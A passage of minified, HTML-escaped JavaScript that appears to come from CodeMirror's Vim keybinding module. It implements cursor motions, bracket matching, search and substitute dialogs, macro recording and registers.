oa(a,b){vb.lastCharacterSearch.increment=a,vb.lastCharacterSearch.forward=b.forward,vb.lastCharacterSearch.selectedCharacter=b.selectedCharacter}function pa(a,b,c,e){var f=R(a.getCursor()),g=c?1:-1,h=c?a.lineCount():-1,i=f.ch,j=f.line,k=a.getLine(j),l={lineText:k,nextCh:k.charAt(i),lastCh:null,index:i,symb:e,reverseSymb:(c?{&quot;)&quot;:&quot;(&quot;,&quot;}&quot;:&quot;{&quot;}:{&quot;(&quot;:&quot;)&quot;,&quot;{&quot;:&quot;}&quot;})[e],forward:c,depth:0,curMoveThrough:!1},m=Cb[e];if(!m)return f;var n=Db[m].init,o=Db[m].isComplete;for(n&amp;&amp;n(l);j!==h&amp;&amp;b;){if(l.index+=g,l.nextCh=l.lineText.charAt(l.index),!l.nextCh){if(j+=g,l.lineText=a.getLine(j)||&quot;&quot;,g&gt;0)l.index=0;else{var p=l.lineText.length;l.index=p&gt;0?p-1:0}l.nextCh=l.lineText.charAt(l.index)}o(l)&amp;&amp;(f.line=j,f.ch=l.index,b--)}return l.nextCh||l.curMoveThrough?d(j,l.index):f}function qa(a,b,c,d,e){var f=b.line,g=b.ch,h=a.getLine(f),i=c?1:-1,j=d?mb:lb;if(e&amp;&amp;&quot;&quot;==h){if(f+=i,h=a.getLine(f),!m(a,f))return null;g=c?0:h.length}for(;;){if(e&amp;&amp;&quot;&quot;==h)return{from:0,to:0,line:f};for(var k=i&gt;0?h.length:-1,l=k,n=k;g!=k;){for(var o=!1,p=0;p&lt;j.length&amp;&amp;!o;++p)if(j[p](h.charAt(g))){for(l=g;g!=k&amp;&amp;j[p](h.charAt(g));)g+=i;if(n=g,o=l!=n,l==b.ch&amp;&amp;f==b.line&amp;&amp;n==l+i)continue;return{from:Math.min(l,n+1),to:Math.max(l,n),line:f}}o||(g+=i)}if(f+=i,!m(a,f))return null;h=a.getLine(f),g=i&gt;0?0:h.length}}function ra(a,b,c,e,f,g){var h=R(b),i=[];(e&amp;&amp;!f||!e&amp;&amp;f)&amp;&amp;c++;for(var j=!(e&amp;&amp;f),k=0;k&lt;c;k++){var l=qa(a,b,e,g,j);if(!l){var m=X(a,a.lastLine());i.push(e?{line:a.lastLine(),from:m,to:m}:{line:0,from:0,to:0});break}i.push(l),b=d(l.line,e?l.to-1:l.from)}var n=i.length!=c,o=i[0],p=i.pop();return e&amp;&amp;!f?(n||o.from==h.ch&amp;&amp;o.line==h.line||(p=i.pop()),d(p.line,p.from)):e&amp;&amp;f?d(p.line,p.to-1):!e&amp;&amp;f?(n||o.to==h.ch&amp;&amp;o.line==h.line||(p=i.pop()),d(p.line,p.to)):d(p.line,p.from)}function sa(a,b,c,e){for(var f,g=a.getCursor(),h=g.ch,i=0;i&lt;b;i++){var j=a.getLine(g.line);if(f=va(h,j,e,c,!0),f==-1)return null;h=f}return d(a.getCursor().line,f)}function ta(a,b){var c=a.getCursor().line;return J(a,d(c,b-1))}function ua(a,b,c,d){s(c,qb)&amp;&amp;(b.marks[c]&amp;&amp;b.marks[c].clear(),b.marks[c]=a.setBookmark(d))}function va(a,b,c,d,e){var f;return d?(f=b.indexOf(c,a+1),f==-1||e||(f-=1)):(f=b.lastIndexOf(c,a-1),f==-1||e||(f+=1)),f}function wa(a,b,c,e,f){function g(b){return!a.getLine(b)}function h(a,b,c){return c?g(a)!=g(a+b):!g(a)&amp;&amp;g(a+b)}var i,j,k=b.line,l=a.firstLine(),m=a.lastLine(),n=k;if(e){for(;l&lt;=n&amp;&amp;n&lt;=m&amp;&amp;c&gt;0;)h(n,e)&amp;&amp;c--,n+=e;return new d(n,0)}var o=a.state.vim;if(o.visualLine&amp;&amp;h(k,1,!0)){var p=o.sel.anchor;h(p.line,-1,!0)&amp;&amp;(f&amp;&amp;p.line==k||(k+=1))}var q=g(k);for(n=k;n&lt;=m&amp;&amp;c;n++)h(n,1,!0)&amp;&amp;(f&amp;&amp;g(n)==q||c--);for(j=new d(n,0),n&gt;m&amp;&amp;!q?q=!0:f=!1,n=k;n&gt;l&amp;&amp;(f&amp;&amp;g(n)!=q&amp;&amp;n!=k||!h(n,-1,!0));n--);return i=new d(n,0),{start:i,end:j}}function xa(a,b,c,e){var f,g,h=b,i={&quot;(&quot;:/[()]/,&quot;)&quot;:/[()]/,&quot;[&quot;:/[[\]]/,&quot;]&quot;:/[[\]]/,&quot;{&quot;:/[{}]/,&quot;}&quot;:/[{}]/}[c],j={&quot;(&quot;:&quot;(&quot;,&quot;)&quot;:&quot;(&quot;,&quot;[&quot;:&quot;[&quot;,&quot;]&quot;:&quot;[&quot;,&quot;{&quot;:&quot;{&quot;,&quot;}&quot;:&quot;{&quot;}[c],k=a.getLine(h.line).charAt(h.ch),l=k===j?1:0;if(f=a.scanForBracket(d(h.line,h.ch+l),-1,null,{bracketRegex:i}),g=a.scanForBracket(d(h.line,h.ch+l),1,null,{bracketRegex:i}),!f||!g)return{start:h,end:h};if(f=f.pos,g=g.pos,f.line==g.line&amp;&amp;f.ch&gt;g.ch||f.line&gt;g.line){var m=f;f=g,g=m}return e?g.ch+=1:f.ch+=1,{start:f,end:g}}function ya(a,b,c,e){var f,g,h,i,j=R(b),k=a.getLine(j.line),l=k.split(&quot;&quot;),m=l.indexOf(c);if(j.ch&lt;m?j.ch=m:m&lt;j.ch&amp;&amp;l[j.ch]==c&amp;&amp;(g=j.ch,--j.ch),l[j.ch]!=c||g)for(h=j.ch;h&gt;-1&amp;&amp;!f;h--)l[h]==c&amp;&amp;(f=h+1);else f=j.ch+1;if(f&amp;&amp;!g)for(h=f,i=l.length;h&lt;i&amp;&amp;!g;h++)l[h]==c&amp;&amp;(g=h);return f&amp;&amp;g?(e&amp;&amp;(--f,++g),{start:d(j.line,f),end:d(j.line,g)}):{start:j,end:j}}function za(){}function Aa(a){var b=a.state.vim;return b.searchState_||(b.searchState_=new za)}function Ba(a,b,c,d,e){a.openDialog?a.openDialog(b,d,{bottom:!0,value:e.value,onKeyDown:e.onKeyDown,onKeyUp:e.onKeyUp,selectValueOnOpen:!1}):d(prompt(c,&quot;&quot;))}function Ca(a){var b=Da(a)||[];if(!b.length)return[];var c=[];if(0===b[0]){for(var d=0;d&lt;b.length;d++)&quot;number&quot;==typeof b[d]&amp;&amp;c.push(a.substring(b[d]+1,b[d+1]));return c}}function Da(a){for(var b=!1,c=[],d=0;d&lt;a.length;d++){var e=a.charAt(d);b||&quot;/&quot;!=e||c.push(d),b=!b&amp;&amp;&quot;\\&quot;==e}return c}function Ea(a){for(var b=&quot;|(){&quot;,c=&quot;}&quot;,d=!1,e=[],f=-1;f&lt;a.length;f++){var g=a.charAt(f)||&quot;&quot;,h=a.charAt(f+1)||&quot;&quot;,i=h&amp;&amp;b.indexOf(h)!=-1;d?(&quot;\\&quot;===g&amp;&amp;i||e.push(g),d=!1):&quot;\\&quot;===g?(d=!0,h&amp;&amp;c.indexOf(h)!=-1&amp;&amp;(i=!0),i&amp;&amp;&quot;\\&quot;!==h||e.push(g)):(e.push(g),i&amp;&amp;&quot;\\&quot;!==h&amp;&amp;e.push(&quot;\\&quot;))}return e.join(&quot;&quot;)}function Fa(a){for(var b=!1,c=[],d=-1;d&lt;a.length;d++){var e=a.charAt(d)||&quot;&quot;,f=a.charAt(d+1)||&quot;&quot;;Eb[e+f]?(c.push(Eb[e+f]),d++):b?(c.push(e),b=!1):&quot;\\&quot;===e?(b=!0,p(f)||&quot;$&quot;===f?c.push(&quot;$&quot;):&quot;/&quot;!==f&amp;&amp;&quot;\\&quot;!==f&amp;&amp;c.push(&quot;\\&quot;)):(&quot;$&quot;===e&amp;&amp;c.push(&quot;$&quot;),c.push(e),&quot;/&quot;===f&amp;&amp;c.push(&quot;\\&quot;))}return c.join(&quot;&quot;)}function Ga(b){for(var c=new a.StringStream(b),d=[];!c.eol();){for(;c.peek()&amp;&amp;&quot;\\&quot;!=c.peek();)d.push(c.next());var e=!1;for(var f in Fb)if(c.match(f,!0)){e=!0,d.push(Fb[f]);break}e||d.push(c.next())}return d.join(&quot;&quot;)}function Ha(a,b,c){var d=vb.registerController.getRegister(&quot;/&quot;);if(d.setText(a),a instanceof RegExp)return a;var e,f,g=Da(a);if(g.length){e=a.substring(0,g[0]);var h=a.substring(g[0]);f=h.indexOf(&quot;i&quot;)!=-1}else e=a;if(!e)return null;v(&quot;pcre&quot;)||(e=Ea(e)),c&amp;&amp;(b=/^[^A-Z]*$/.test(e));var i=new RegExp(e,b||f?&quot;i&quot;:void 0);return i}function Ia(a,b){a.openNotification?a.openNotification(&#039;&lt;span style=&quot;color: red&quot;&gt;&#039;+b+&quot;&lt;/span&gt;&quot;,{bottom:!0,duration:5e3}):alert(b)}function Ja(a,b){var c=&#039;&lt;span style=&quot;font-family: monospace; white-space: pre&quot;&gt;&#039;+(a||&quot;&quot;)+&#039;&lt;input type=&quot;text&quot;&gt;&lt;/span&gt;&#039;;return b&amp;&amp;(c+=&#039; &lt;span style=&quot;color: #888&quot;&gt;&#039;+b+&quot;&lt;/span&gt;&quot;),c}function Ka(a,b){var c=(b.prefix||&quot;&quot;)+&quot; &quot;+(b.desc||&quot;&quot;),d=Ja(b.prefix,b.desc);Ba(a,d,c,b.onClose,b)}function La(a,b){if(a instanceof RegExp&amp;&amp;b instanceof RegExp){for(var c=[&quot;global&quot;,&quot;multiline&quot;,&quot;ignoreCase&quot;,&quot;source&quot;],d=0;d&lt;c.length;d++){var e=c[d];if(a[e]!==b[e])return!1}return!0}return!1}function Ma(a,b,c,d){if(b){var e=Aa(a),f=Ha(b,!!c,!!d);if(f)return Oa(a,f),La(f,e.getQuery())?f:(e.setQuery(f),f)}}function Na(a){if(&quot;^&quot;==a.source.charAt(0))var b=!0;return{token:function(c){if(b&amp;&amp;!c.sol())return void c.skipToEnd();var d=c.match(a,!1);if(d)return 0==d[0].length?(c.next(),&quot;searching&quot;):c.sol()||(c.backUp(1),a.exec(c.next()+d[0]))?(c.match(a),&quot;searching&quot;):(c.next(),null);for(;!c.eol()&amp;&amp;(c.next(),!c.match(a,!1)););},query:a}}function Oa(a,b){var c=Aa(a),d=c.getOverlay();d&amp;&amp;b==d.query||(d&amp;&amp;a.removeOverlay(d),d=Na(b),a.addOverlay(d),a.showMatchesOnScrollbar&amp;&amp;(c.getScrollbarAnnotate()&amp;&amp;c.getScrollbarAnnotate().clear(),c.setScrollbarAnnotate(a.showMatchesOnScrollbar(b))),c.setOverlay(d))}function Pa(a,b,c,e){return void 0===e&amp;&amp;(e=1),a.operation(function(){for(var f=a.getCursor(),g=a.getSearchCursor(c,f),h=0;h&lt;e;h++){var i=g.find(b);if(0==h&amp;&amp;i&amp;&amp;S(g.from(),f)&amp;&amp;(i=g.find(b)),!i&amp;&amp;(g=a.getSearchCursor(c,b?d(a.lastLine()):d(a.firstLine(),0)),!g.find(b)))return}return g.from()})}function Qa(a){var b=Aa(a);a.removeOverlay(Aa(a).getOverlay()),b.setOverlay(null),b.getScrollbarAnnotate()&amp;&amp;(b.getScrollbarAnnotate().clear(),b.setScrollbarAnnotate(null))}function Ra(a,b,c){return&quot;number&quot;!=typeof a&amp;&amp;(a=a.line),b instanceof Array?s(a,b):c?a&gt;=b&amp;&amp;a&lt;=c:a==b}function Sa(a){var b=a.getScrollInfo(),c=6,d=10,e=a.coordsChar({left:0,top:c+b.top},&quot;local&quot;),f=b.clientHeight-d+b.top,g=a.coordsChar({left:0,top:f},&quot;local&quot;);return{top:e.line,bottom:g.line}}function Ta(a,b,c){if(&quot;&#039;&quot;==c){var d=a.doc.history.done,e=d[d.length-2];return e&amp;&amp;e.ranges&amp;&amp;e.ranges[0].head}var f=b.marks[c];return f&amp;&amp;f.find()}function Ua(b,c,d,e,f,g,h,i,j){function k(){b.operation(function(){for(;!p;)l(),m();n()})}function l(){var a=b.getRange(g.from(),g.to()),c=a.replace(h,i);g.replace(c)}function m(){for(;g.findNext()&amp;&amp;Ra(g.from(),e,f);)if(d||!q||g.from().line!=q.line)return b.scrollIntoView(g.from(),30),b.setSelection(g.from(),g.to()),q=g.from(),void(p=!1);p=!0}function n(a){if(a&amp;&amp;a(),b.focus(),q){b.setCursor(q);var c=b.state.vim;c.exMode=!1,c.lastHPos=c.lastHSPos=q.ch}j&amp;&amp;j()}function o(c,d,e){a.e_stop(c);var f=a.keyName(c);switch(f){case&quot;Y&quot;:l(),m();break;case&quot;N&quot;:m();break;case&quot;A&quot;:var g=j;j=void 0,b.operation(k),j=g;break;case&quot;L&quot;:l();case&quot;Q&quot;:case&quot;Esc&quot;:case&quot;Ctrl-C&quot;:case&quot;Ctrl-[&quot;:n(e)}return p&amp;&amp;n(e),!0}b.state.vim.exMode=!0;var p=!1,q=g.from();return m(),p?void Ia(b,&quot;No matches for &quot;+h.source):c?void Ka(b,{prefix:&quot;replace with &lt;strong&gt;&quot;+i+&quot;&lt;/strong&gt; (y/n/a/q/l)&quot;,onKeyDown:o}):(k(),void(j&amp;&amp;j()))}function Va(b){var c=b.state.vim,d=vb.macroModeState,e=vb.registerController.getRegister(&quot;.&quot;),f=d.isPlaying,g=d.lastInsertModeChanges,h=[];if(!f){for(var i=g.inVisualBlock?c.lastSelection.visualBlock.height:1,j=g.changes,h=[],k=0;k&lt;j.length;)h.push(j[k]),j[k]instanceof eb?k++:k+=i;g.changes=h,b.off(&quot;change&quot;,ab),a.off(b.getInputField(),&quot;keydown&quot;,fb)}!f&amp;&amp;c.insertModeRepeat&gt;1&amp;&amp;(gb(b,c,c.insertModeRepeat-1,!0),c.lastEditInputState.repeatOverride=c.insertModeRepeat),delete c.insertModeRepeat,c.insertMode=!1,b.setCursor(b.getCursor().line,b.getCursor().ch-1),b.setOption(&quot;keyMap&quot;,&quot;vim&quot;),b.setOption(&quot;disableInput&quot;,!0),b.toggleOverwrite(!1),e.setText(g.changes.join(&quot;&quot;)),a.signal(b,&quot;vim-mode-change&quot;,{mode:&quot;normal&quot;}),d.isRecording&amp;&amp;$a(d)}function Wa(a){b.unshift(a)}function Xa(a,b,c,d,e){var f={keys:a,type:b};f[b]=c,f[b+&quot;Args&quot;]=d;for(var g in e)f[g]=e[g];Wa(f)}function Ya(b,c,d,e){var f=vb.registerController.getRegister(e);if(&quot;:&quot;==e)return f.keyBuffer[0]&amp;&amp;Jb.processCommand(b,f.keyBuffer[0]),void(d.isPlaying=!1);var g=f.keyBuffer,h=0;d.isPlaying=!0,d.replaySearchQueries=f.searchQueries.slice(0);for(var i=0;i&lt;g.length;i++)for(var j,k,l=g[i];l;)if(j=/&lt;\w+-.+?&gt;|&lt;\w+&gt;|./.exec(l),k=j[0],l=l.substring(j.index+k.length),a.Vim.handleKey(b,k,&quot;macro&quot;),c.insertMode){var m=f.insertModeChanges[h++].changes;vb.macroModeState.lastInsertModeChanges.changes=m,hb(b,m,1),Va(b)}d.isPlaying=!1}function Za(a,b){if(!a.isPlaying){var c=a.latestRegister,d=vb.registerController.getRegister(c);d&amp;&amp;d.pushText(b)}}function $a(a){if(!a.isPlaying){var b=a.latestRegister,c=vb.registerController.getRegister(b);c&amp;&amp;c.pushInsertModeChanges&amp;&amp;c.pushInsertModeChanges(a.lastInsertModeChanges)}}function _a(a,b){if(!a.isPlaying){var c=a.latestRegister,d=vb.registerController.getRegister(c);d&amp;&amp;d.pushSearchQuery&amp;&amp;d.pushSearchQuery(b)}}function ab(a,b){var c=vb.macroModeState,d=c.lastInsertModeChanges;if(!c.isPlaying)for(;b;){if(d.expectCursorActivityForChange=!0,&quot;+input&quot;==b.origin||&quot;paste&quot;==b.origin||void 0===b.origin){var e=b.text.join(&quot;\n&quot;);d.maybeReset&amp;&amp;(d.changes=[],d.maybeReset=!1),a.state.overwrite&amp;&amp;!/\n/.test(e)?d.changes.push([e]):d.changes.push(e)}b=b.next}}function bb(a){var b=a.state.vim;if(b.insertMode){var c=vb.macroModeState;if(c.isPlaying)return;var d=c.lastInsertModeChanges;d.expectCursorActivityForChange?d.expectCursorActivityForChange=!1:d.maybeReset=!0}else a.curOp.isVimOp||db(a,b);b.visualMode&amp;&amp;cb(a)}function cb(a){var b=a.state.vim,c=J(a,R(b.sel.head)),d=L(c,0,1);b.fakeCursor&amp;&amp;b.fakeCursor.clear(),b.fakeCursor=a.markText(c,d,{className:&quot;cm-animate-fat-cursor&quot;})}function db(b,c){var d=b.getCursor(&quot;anchor&quot;),e=b.getCursor(&quot;head&quot;);if(c.visualMode&amp;&amp;!b.somethingSelected()?ia(b,!1):c.visualMode||c.insertMode||!b.somethingSelected()||(c.visualMode=!0,c.visualLine=!1,a.signal(b,&quot;vim-mode-change&quot;,{mode:&quot;visual&quot;})),c.visualMode){var f=T(e,d)?0:-1,g=T(e,d)?-1:0;e=L(e,0,f),d=L(d,0,g),c.sel={anchor:d,head:e},ua(b,c,&quot;&lt;&quot;,U(e,d)),ua(b,c,&quot;&gt;&quot;,V(e,d))}else c.insertMode||(c.lastHPos=b.getCursor().ch)}function eb(a){this.keyName=a}function fb(b){function c(){return e.maybeReset&amp;&amp;(e.changes=[],e.maybeReset=!1),e.changes.push(new eb(f)),!0}var d=vb.macroModeState,e=d.lastInsertModeChanges,f=a.keyName(b);f&amp;&amp;(f.indexOf(&quot;Delete&quot;)==-1&amp;&amp;f.indexOf(&quot;Backspace&quot;)==-1||a.lookupKey(f,&quot;vim-insert&quot;,c))}function gb(a,b,c,d){function e(){h?yb.processAction(a,b,b.lastEditActionCommand):yb.evalInput(a,b)}function f(c){if(g.lastInsertModeChanges.changes.length&gt;0){c=b.lastEditActionCommand?c:1;var d=g.lastInsertModeChanges;hb(a,d.changes,c)}}var g=vb.macroModeState;g.isPlaying=!0;var h=!!b.lastEditActionCommand,i=b.inputState;if(b.inputState=b.lastEditInputState,h&amp;&amp;b.lastEditActionCommand.interlaceInsertRepeat)for(var j=0;j&lt;c;j++)e(),f(1);else d||e(),f(c);b.inputState=i,b.insertMode&amp;&amp;!d&amp;&amp;Va(a),g.isPlaying=!1}function hb(b,c,d){function e(c){return&quot;string&quot;==typeof c?a.commands[c](b):c(b),!0}var f=b.getCursor(&quot;head&quot;),g=vb.macroModeState.lastInsertModeChanges.inVisualBlock;if(g){var h=b.state.vim,i=h.lastSelection,j=M(i.anchor,i.head);aa(b,f,j.line+1),d=b.listSelections().length,b.setCursor(f)}for(var k=0;k&lt;d;k++){g&amp;&amp;b.setCursor(L(f,k,0));for(var l=0;l&lt;c.length;l++){var m=c[l];if(m instanceof eb)a.lookupKey(m.keyName,&quot;vim-insert&quot;,e);else if(&quot;string&quot;==typeof m){var n=b.getCursor();b.replaceRange(m,n,n)}else{var o=b.getCursor(),p=L(o,0,m[0].length);b.replaceRange(m[0],o,p)}}}g&amp;&amp;b.setCursor(L(f,0,1))}a.defineOption(&quot;vimMode&quot;,!1,function(b,c,d){c&amp;&amp;&quot;vim&quot;!=b.getOption(&quot;keyMap&quot;)?b.setOption(&quot;keyMap&quot;,&quot;vim&quot;):!c&amp;&amp;d!=a.Init&amp;&amp;/^vim/.test(b.getOption(&quot;keyMap&quot;))&amp;&amp;b.setOption(&quot;keyMap&quot;,&quot;default&quot;)});var ib={Shift:&quot;S&quot;,Ctrl:&quot;C&quot;,Alt:&quot;A&quot;,Cmd:&quot;D&quot;,Mod:&quot;A&quot;},jb={Enter:&quot;CR&quot;,Backspace:&quot;BS&quot;,Delete:&quot;Del&quot;,Insert:&quot;Ins&quot;},kb=/[\d]/,lb=[a.isWordChar,function(b){return b&amp;&amp;!a.isWordChar(b)&amp;&amp;!/\s/.test(b)}],mb=[function(a){return/\S/.test(a)}],nb=l(65,26),ob=l(97,26),pb=l(48,10),qb=[].concat(nb,ob,pb,[&quot;&lt;&quot;,&quot;&gt;&quot;]),rb=[].concat(nb,ob,pb,[&quot;-&quot;,&#039;&quot;&#039;,&quot;.&quot;,&quot;:&quot;,&quot;/&quot;]),sb={};t(&quot;filetype&quot;,void 0,&quot;string&quot;,[&quot;ft&quot;],function(a,b){if(void 0!==b){if(void 0===a){var c=b.getOption(&quot;mode&quot;);return&quot;null&quot;==c?&quot;&quot;:c}var c=&quot;&quot;==a?&quot;null&quot;:a;b.setOption(&quot;mode&quot;,c)}});var tb=function(){function a(a,b,h){function i(b){var e=++d%c,f=g[e];f&amp;&amp;f.clear(),g[e]=a.setBookmark(b)}var j=d%c,k=g[j];if(k){var l=k.find();l&amp;&amp;!S(l,b)&amp;&amp;i(b)}else i(b);i(h),e=d,f=d-c+1,f&lt;0&amp;&amp;(f=0)}function b(a,b){d+=b,d&gt;e?d=e:d&lt;f&amp;&amp;(d=f);var h=g[(c+d)%c];if(h&amp;&amp;!h.find()){var i,j=b&gt;0?1:-1,k=a.getCursor();do if(d+=j,h=g[(c+d)%c],h&amp;&amp;(i=h.find())&amp;&amp;!S(k,i))break;while(d&lt;e&amp;&amp;d&gt;f)}return h}var c=100,d=-1,e=0,f=0,g=new Array(c);return{cachedCursor:void 0,add:a,move:b}},ub=function(a){return a?{changes:a.changes,expectCursorActivityForChange:a.expectCursorActivityForChange}:{changes:[],expectCursorActivityForChange:!1}};w.prototype={exitMacroRecordMode:function(){var a=vb.macroModeState;a.onRecordingDone&amp;&amp;a.onRecordingDone(),a.onRecordingDone=void 0,a.isRecording=!1},enterMacroRecordMode:function(a,b){var c=vb.registerController.getRegister(b);c&amp;&amp;(c.clear(),this.latestRegister=b,a.openDialog&amp;&amp;(this.onRecordingDone=a.openDialog(&quot;(recording)[&quot;+b+&quot;]&quot;,null,{bottom:!0})),this.isRecording=!0)}};var vb,wb,xb={buildKeyMap:function(){},getRegisterController:function(){return vb.registerController},resetVimGlobalState_:y,getVimGlobalState_:function(){return vb},maybeInitVimState_:x,suppressErrorLogging:!1,InsertModeKey:eb,map:function(a,b,c){Jb.map(a,b,c)},unmap:function(a,b){Jb.unmap(a,b)},setOption:u,getOption:v,defineOption:t,defineEx:function(a,b,c){if(b){if(0!==a.indexOf(b))throw new Error(&#039;(Vim.defineEx) &quot;&#039;+b+&#039;&quot; is not a prefix of &quot;&#039;+a+&#039;&quot;, command not registered&#039;)}else b=a;Ib[a]=c,Jb.commandMap_[b]={name:a,shortName:b,type:&quot;api&quot;}},handleKey:function(a,b,c){var d=this.findKey(a,b,c);if(&quot;function&quot;==typeof d)return d()},findKey:function(c,d,e){function f(){var a=vb.macroModeState;if(a.isRecording){if(&quot;q&quot;==d)return a.exitMacroRecordMode(),A(c),!0;&quot;mapping&quot;!=e&amp;&amp;Za(a,d)}}function g(){if(&quot;&lt;Esc&gt;&quot;==d)return A(c),l.visualMode?ia(c):l.insertMode&amp;&amp;Va(c),!0}function h(b){for(var e;b;)e=/&lt;\w+-.+?&gt;|&lt;\w+&gt;|./.exec(b),d=e[0],b=b.substring(e.index+d.length),a.Vim.handleKey(c,d,&quot;mapping&quot;)}function i(){if(g())return!0;for(var a=l.inputState.keyBuffer=l.inputState.keyBuffer+d,e=1==d.length,f=yb.matchCommand(a,b,l.inputState,&quot;insert&quot;);a.length&gt;1&amp;&amp;&quot;full&quot;!=f.type;){var a=l.inputState.keyBuffer=a.slice(1),h=yb.matchCommand(a,b,l.inputState,&quot;insert&quot;);&quot;none&quot;!=h.type&amp;&amp;(f=h)}if(&quot;none&quot;==f.type)return A(c),!1;if(&quot;partial&quot;==f.type)return wb&amp;&amp;window.clearTimeout(wb),wb=window.setTimeout(function(){l.insertMode&amp;&amp;l.inputState.keyBuffer&amp;&amp;A(c)},v(&quot;insertModeEscKeysTimeout&quot;)),!e;if(wb&amp;&amp;window.clearTimeout(wb),e){for(var i=c.listSelections(),j=0;j&lt;i.length;j++){var k=i[j].head;c.replaceRange(&quot;&quot;,L(k,0,-(a.length-1)),k,&quot;+input&quot;)}vb.macroModeState.lastInsertModeChanges.changes.pop()}return A(c),f.command}function j(){if(f()||g())return!0;var a=l.inputState.keyBuffer=l.inputState.keyBuffer+d;if(/^[1-9]\d*$/.test(a))return!0;var e=/^(\d*)(.*)$/.exec(a);if(!e)return A(c),!1;var h=l.visualMode?&quot;visual&quot;:&quot;normal&quot;,i=yb.matchCommand(e[2]||e[1],b,l.inputState,h);if(&quot;none&quot;==i.type)return A(c),!1;if(&quot;partial&quot;==i.type)return!0;l.inputState.keyBuffer=&quot;&quot;;var e=/^(\d*)(.*)$/.exec(a);return e[1]&amp;&amp;&quot;0&quot;!=e[1]&amp;&amp;l.inputState.pushRepeatDigit(e[1]),i.command}var k,l=x(c);return k=l.insertMode?i():j(),k===!1?void 0:k===!0?function(){return!0}:function(){return c.operation(function(){c.curOp.isVimOp=!0;try{&quot;keyToKey&quot;==k.type?h(k.toKeys):yb.processCommand(c,l,k)}catch(b){throw c.state.vim=void 0,x(c),a.Vim.suppressErrorLogging||console.log(b),b}return!0})}},handleEx:function(a,b){Jb.processCommand(a,b)},defineMotion:F,defineAction:I,defineOperator:H,mapCommand:Xa,_mapCommand:Wa,defineRegister:C,exitVisualMode:ia,exitInsertMode:Va};z.prototype.pushRepeatDigit=function(a){this.operator?this.motionRepeat=this.motionRepeat.concat(a):this.prefixRepeat=this.prefixRepeat.concat(a)},z.prototype.getRepeat=function(){var a=0;return(this.prefixRepeat.length&gt;0||this.motionRepeat.length&gt;0)&amp;&amp;(a=1,this.prefixRepeat.length&gt;0&amp;&amp;(a*=parseInt(this.prefixRepeat.join(&quot;&quot;),10)),this.motionRepeat.length&gt;0&amp;&amp;(a*=parseInt(this.motionRepeat.join(&quot;&quot;),10))),a},B.prototype={setText:function(a,b,c){this.keyBuffer=[a||&quot;&quot;],this.linewise=!!b,this.blockwise=!!c},pushText:function(a,b){b&amp;&amp;(this.linewise||this.keyBuffer.push(&quot;\n&quot;),this.linewise=!0),this.keyBuffer.push(a)},pushInsertModeChanges:function(a){this.insertModeChanges.push(ub(a))},pushSearchQuery:function(a){this.searchQueries.push(a)},clear:function(){this.keyBuffer=[],this.insertModeChanges=[],this.searchQueries=[],this.linewise=!1},toString:function(){return this.keyBuffer.join(&quot;&quot;)}},D.prototype={pushText:function(a,b,c,d,e){d&amp;&amp;&quot;\n&quot;!==c.charAt(c.length-1)&amp;&amp;(c+=&quot;\n&quot;);var f=this.isValidRegister(a)?this.getRegister(a):null;if(!f){switch(b){case&quot;yank&quot;:this.registers[0]=new B(c,d,e);break;case&quot;delete&quot;:case&quot;change&quot;:c.indexOf(&quot;\n&quot;)==-1?this.registers[&quot;-&quot;]=new B(c,d):(this.shiftNumericRegisters_(),this.registers[1]=new B(c,d))}return void this.unnamedRegister.setText(c,d,e)}var g=q(a);g?f.pushText(c,d):f.setText(c,d,e),this.unnamedRegister.setText(f.toString(),d)},getRegister:function(a){return this.isValidRegister(a)?(a=a.toLowerCase(),this.registers[a]||(this.registers[a]=new B),this.registers[a]):this.unnamedRegister},isValidRegister:function(a){return a&amp;&amp;s(a,rb)},shiftNumericRegisters_:function(){for(var a=9;a&gt;=2;a--)this.registers[a]=this.getRegister(&quot;&quot;+(a-1))}},E.prototype={nextMatch:function(a,b){var c=this.historyBuffer,d=b?-1:1;null===this.initialPrefix&amp;&amp;(this.initialPrefix=a);for(var e=this.iterator+d;b?e&gt;=0:e&lt;c.length;e+=d)for(var f=c[e],g=0;g&lt;=f.length;g++)if(this.initialPrefix==f.substring(0,g))return this.iterator=e,f;return e&gt;=c.length?(this.iterator=c.length,this.initialPrefix):e&lt;0?a:void 0},pushInput:function(a){var b=this.historyBuffer.indexOf(a);b&gt;-1&amp;&amp;this.historyBuffer.splice(b,1),a.length&amp;&amp;this.historyBuffer.push(a)},reset:function(){this.initialPrefix=null,this.iterator=this.historyBuffer.length}};var yb={matchCommand:function(a,b,c,d){var e=N(a,b,d,c);if(!e.full&amp;&amp;!e.partial)return{type:&quot;none&quot;};if(!e.full&amp;&amp;e.partial)return{type:&quot;partial&quot;};for(var f,g=0;g&lt;e.full.length;g++){var h=e.full[g];f||(f=h)}if(&quot;&lt;character&gt;&quot;==f.keys.slice(-11)){var i=P(a);if(!i)return{type:&quot;none&quot;};c.selectedCharacter=i}return{type:&quot;full&quot;,command:f}},processCommand:function(a,b,c){switch(b.inputState.repeatOverride=c.repeatOverride,c.type){case&quot;motion&quot;:this.processMotion(a,b,c);break;case&quot;operator&quot;:this.processOperator(a,b,c);break;case&quot;operatorMotion&quot;:this.processOperatorMotion(a,b,c);break;case&quot;action&quot;:this.processAction(a,b,c);break;case&quot;search&quot;:this.processSearch(a,b,c);break;case&quot;ex&quot;:case&quot;keyToEx&quot;:this.processEx(a,b,c)}},processMotion:function(a,b,c){b.inputState.motion=c.motion,b.inputState.motionArgs=K(c.motionArgs),this.evalInput(a,b)},processOperator:function(a,b,c){var d=b.inputState;if(d.operator){if(d.operator==c.operator)return d.motion=&quot;expandToLine&quot;,d.motionArgs={linewise:!0},void this.evalInput(a,b);A(a)}d.operator=c.operator,d.operatorArgs=K(c.operatorArgs),b.visualMode&amp;&amp;this.evalInput(a,b)},processOperatorMotion:function(a,b,c){var d=b.visualMode,e=K(c.operatorMotionArgs);e&amp;&amp;d&amp;&amp;e.visualLine&amp;&amp;(b.visualLine=!0),this.processOperator(a,b,c),d||this.processMotion(a,b,c)},processAction:function(a,b,c){var d=b.inputState,e=d.getRepeat(),f=!!e,g=K(c.actionArgs)||{};d.selectedCharacter&amp;&amp;(g.selectedCharacter=d.selectedCharacter),c.operator&amp;&amp;this.processOperator(a,b,c),c.motion&amp;&amp;this.processMotion(a,b,c),(c.motion||c.operator)&amp;&amp;this.evalInput(a,b),g.repeat=e||1,g.repeatIsExplicit=f,g.registerName=d.registerName,A(a),b.lastMotion=null,c.isEdit&amp;&amp;this.recordLastEdit(b,d,c),Bb[c.action](a,g,b)},processSearch:function(b,c,d){function 